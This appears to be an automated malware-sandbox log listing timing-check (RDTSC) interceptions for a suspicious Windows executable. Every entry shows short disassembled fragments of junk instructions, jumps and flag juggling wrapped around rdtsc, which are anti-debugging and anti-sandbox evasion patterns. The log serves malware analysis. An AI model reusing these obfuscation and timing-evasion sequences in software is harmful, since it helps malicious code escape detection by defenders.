Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 7A141E second address: 7A1469 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F333124C7E6h 0x0000000b pop edx 0x0000000c jnl 00007F333124C815h 0x00000012 jp 00007F333124C7DEh 0x00000018 jg 00007F333124C7D6h 0x0000001e pushad 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 push esi 0x00000023 pop esi 0x00000024 jmp 00007F333124C7E6h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 7A1469 second address: 7A146D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 7A19A0 second address: 7A19A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 7A19A9 second address: 7A19B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 7A19B1 second address: 7A19C5 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F333124C7D6h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 7A19C5 second address: 7A19EA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F3331238823h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push edx 0x0000000d pop edx 0x0000000e pushad 0x0000000f popad 0x00000010 jng 00007F3331238816h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 7A19EA second address: 7A19F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F333124C7D6h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 7A1C7C second address: 7A1CA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 jno 00007F3331238816h 0x0000000e popad 0x0000000f jmp 00007F3331238820h 0x00000014 pushad 0x00000015 jno 00007F3331238816h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 7AB298 second address: 7AB2B3 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F333124C7E6h 0x00000008 jmp 00007F333124C7E0h 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6B9F4B second address: 6B9F4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E204C6 second address: 4E204CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E204CA second address: 4E204D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E204D0 second address: 4E204D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E204D6 second address: 4E204EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f mov di, 37A8h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E204EA second address: 4E204FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F333124C7DCh 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E204FC second address: 4E20512 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov edx, dword ptr [ebp+0Ch] 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F333123881Ah 0x00000011 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E4085E second address: 4E40899 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov bl, cl 0x00000006 popad 0x00000007 popad 0x00000008 push ebx 0x00000009 pushad 0x0000000a mov edx, ecx 0x0000000c call 00007F333124C7DEh 0x00000011 push esi 0x00000012 pop edi 0x00000013 pop esi 0x00000014 popad 0x00000015 mov dword ptr [esp], ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F333124C7E8h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E40899 second address: 4E4089F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E4089F second address: 4E408A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E408A3 second address: 4E408A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E408A7 second address: 4E408C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F333124C7E4h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E408C7 second address: 4E4092F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F333123881Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a jmp 00007F3331238826h 0x0000000f push eax 0x00000010 jmp 00007F333123881Bh 0x00000015 xchg eax, ecx 0x00000016 pushad 0x00000017 mov si, 8A7Bh 0x0000001b call 00007F3331238820h 0x00000020 mov dh, ah 0x00000022 pop edi 0x00000023 popad 0x00000024 xchg eax, esi 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F3331238829h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E4092F second address: 4E409AB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F333124C7E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F333124C7E1h 0x0000000f xchg eax, esi 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F333124C7DCh 0x00000017 add si, AFB8h 0x0000001c jmp 00007F333124C7DBh 0x00000021 popfd 0x00000022 jmp 00007F333124C7E8h 0x00000027 popad 0x00000028 lea eax, dword ptr [ebp-04h] 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007F333124C7E7h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E409AB second address: 4E409D1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3331238829h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push edx 0x0000000e pop esi 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E409D1 second address: 4E40A0B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F333124C7E2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F333124C7DBh 0x0000000f nop 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F333124C7E5h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E40A45 second address: 4E40A4B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E40A4B second address: 4E40A5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F333124C7DDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E40A5C second address: 4E40A8A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [ebp-04h], 00000000h 0x0000000c jmp 00007F333123881Dh 0x00000011 mov esi, eax 0x00000013 pushad 0x00000014 jmp 00007F333123881Ch 0x00000019 push eax 0x0000001a push edx 0x0000001b mov cx, 3B07h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E40B08 second address: 4E40B26 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop eax 0x00000005 push edi 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, esi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F333124C7E0h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E40B26 second address: 4E40B45 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3331238821h 0x00000008 push esi 0x00000009 pop edi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E40B45 second address: 4E40B4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov esi, edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E40B4C second address: 4E40B80 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F333123881Ch 0x00000009 add ecx, 180BC698h 0x0000000f jmp 00007F333123881Bh 0x00000014 popfd 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a leave 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e mov edx, 7E5DB674h 0x00000023 movsx ebx, si 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E40B80 second address: 4E301F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, si 0x00000006 pushfd 0x00000007 jmp 00007F333124C7DEh 0x0000000c jmp 00007F333124C7E5h 0x00000011 popfd 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 retn 0004h 0x00000018 nop 0x00000019 sub esp, 04h 0x0000001c xor ebx, ebx 0x0000001e cmp eax, 00000000h 0x00000021 je 00007F333124C93Ah 0x00000027 mov dword ptr [esp], 0000000Dh 0x0000002e call 00007F3335B98B4Bh 0x00000033 mov edi, edi 0x00000035 pushad 0x00000036 pushad 0x00000037 push eax 0x00000038 pop edx 0x00000039 popad 0x0000003a movsx ebx, cx 0x0000003d popad 0x0000003e xchg eax, ebp 0x0000003f push eax 0x00000040 push edx 0x00000041 jmp 00007F333124C7DDh 0x00000046 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E301F5 second address: 4E30236 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, di 0x00000006 mov dx, C37Eh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F3331238821h 0x00000017 adc esi, 42F9EF06h 0x0000001d jmp 00007F3331238821h 0x00000022 popfd 0x00000023 mov eax, 5F4BB2B7h 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E30236 second address: 4E30287 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F333124C7DDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F333124C7DEh 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 mov dl, AAh 0x00000016 pushfd 0x00000017 jmp 00007F333124C7E6h 0x0000001c xor ecx, 3B736338h 0x00000022 jmp 00007F333124C7DBh 0x00000027 popfd 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E30287 second address: 4E302B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov eax, ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a sub esp, 2Ch 0x0000000d jmp 00007F3331238827h 0x00000012 xchg eax, ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 movsx ebx, ax 0x00000019 mov dh, ah 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E302B5 second address: 4E30314 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F333124C7E6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F333124C7E1h 0x00000011 adc ah, FFFFFF96h 0x00000014 jmp 00007F333124C7E1h 0x00000019 popfd 0x0000001a mov edi, eax 0x0000001c popad 0x0000001d xchg eax, ebx 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F333124C7E4h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E30314 second address: 4E30323 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F333123881Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E30323 second address: 4E30392 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007F333124C7E5h 0x0000000b xor ecx, 1E7AFA06h 0x00000011 jmp 00007F333124C7E1h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, edi 0x0000001b pushad 0x0000001c pushad 0x0000001d mov edi, eax 0x0000001f mov dh, ah 0x00000021 popad 0x00000022 pushfd 0x00000023 jmp 00007F333124C7DBh 0x00000028 and cl, 0000003Eh 0x0000002b jmp 00007F333124C7E9h 0x00000030 popfd 0x00000031 popad 0x00000032 push eax 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E30392 second address: 4E30398 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E30449 second address: 4E3047E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, dx 0x00000006 mov bh, 5Eh 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test al, al 0x0000000d pushad 0x0000000e pushad 0x0000000f mov al, 1Dh 0x00000011 mov ebx, 4CB4AEDEh 0x00000016 popad 0x00000017 movsx edx, cx 0x0000001a popad 0x0000001b je 00007F333124C9EAh 0x00000021 pushad 0x00000022 mov cx, 8153h 0x00000026 mov ecx, 040CDFAFh 0x0000002b popad 0x0000002c lea ecx, dword ptr [ebp-14h] 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 mov ah, bh 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E30588 second address: 4E3058E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E3058E second address: 4E30592 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E30616 second address: 4E3062E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3331238824h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E3062E second address: 4E30632 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E30632 second address: 4E30643 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [ebp-14h], edi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E30643 second address: 4E30647 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E30647 second address: 4E3064B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E3064B second address: 4E30651 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E30651 second address: 4E30657 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E30657 second address: 4E3068A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F333124C7DDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jne 00007F33A180A607h 0x00000011 jmp 00007F333124C7DEh 0x00000016 mov ebx, dword ptr [ebp+08h] 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c mov eax, edi 0x0000001e mov si, bx 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E30790 second address: 4E3079F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F333123881Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E3079F second address: 4E307B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F333124C7E4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E307B7 second address: 4E307DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F333123881Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test esi, esi 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F3331238820h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E307DE second address: 4E307E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E307E4 second address: 4E307EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E307EA second address: 4E307EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E307EE second address: 4E307F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E307F2 second address: 4E30014 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F33A180A631h 0x0000000e xor eax, eax 0x00000010 jmp 00007F3331225F0Ah 0x00000015 pop esi 0x00000016 pop edi 0x00000017 pop ebx 0x00000018 leave 0x00000019 retn 0004h 0x0000001c nop 0x0000001d sub esp, 04h 0x00000020 mov esi, eax 0x00000022 xor ebx, ebx 0x00000024 cmp esi, 00000000h 0x00000027 je 00007F333124C915h 0x0000002d call 00007F3335B9881Ch 0x00000032 mov edi, edi 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007F333124C7E0h 0x0000003b rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E30014 second address: 4E3001A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E3001A second address: 4E3001E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E3001E second address: 4E3005C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a call 00007F3331238824h 0x0000000f push esi 0x00000010 pop edi 0x00000011 pop esi 0x00000012 mov cx, bx 0x00000015 popad 0x00000016 mov dword ptr [esp], ebp 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F3331238824h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E3005C second address: 4E3012F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F333124C7E1h 0x00000009 adc cx, F536h 0x0000000e jmp 00007F333124C7E1h 0x00000013 popfd 0x00000014 mov eax, 30967127h 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c mov ebp, esp 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007F333124C7E8h 0x00000025 add cx, EB88h 0x0000002a jmp 00007F333124C7DBh 0x0000002f popfd 0x00000030 call 00007F333124C7E8h 0x00000035 pop edx 0x00000036 popad 0x00000037 xchg eax, ecx 0x00000038 pushad 0x00000039 push ecx 0x0000003a pushfd 0x0000003b jmp 00007F333124C7E9h 0x00000040 jmp 00007F333124C7DBh 0x00000045 popfd 0x00000046 pop esi 0x00000047 mov edx, 055AB28Ch 0x0000004c popad 0x0000004d push eax 0x0000004e pushad 0x0000004f call 00007F333124C7E0h 0x00000054 pop ebx 0x00000055 mov edi, eax 0x00000057 popad 0x00000058 xchg eax, ecx 0x00000059 push eax 0x0000005a push edx 0x0000005b jmp 00007F333124C7DFh 0x00000060 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E30C99 second address: 4E30C9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E30C9F second address: 4E30CA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E30CA3 second address: 4E30CC0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F333123881Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov di, 88A6h 0x00000013 mov cx, dx 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E30CC0 second address: 4E30CFF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F333124C7E8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F333124C7DCh 0x00000013 adc cl, 00000078h 0x00000016 jmp 00007F333124C7DBh 0x0000001b popfd 0x0000001c push esi 0x0000001d pop edx 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E30CFF second address: 4E30D22 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov esi, edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F3331238826h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E30D22 second address: 4E30D34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F333124C7DEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E30D34 second address: 4E30D38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E30D38 second address: 4E30D72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F333124C7E8h 0x00000013 add ax, 0898h 0x00000018 jmp 00007F333124C7DBh 0x0000001d popfd 0x0000001e mov ah, DEh 0x00000020 popad 0x00000021 rdtsc
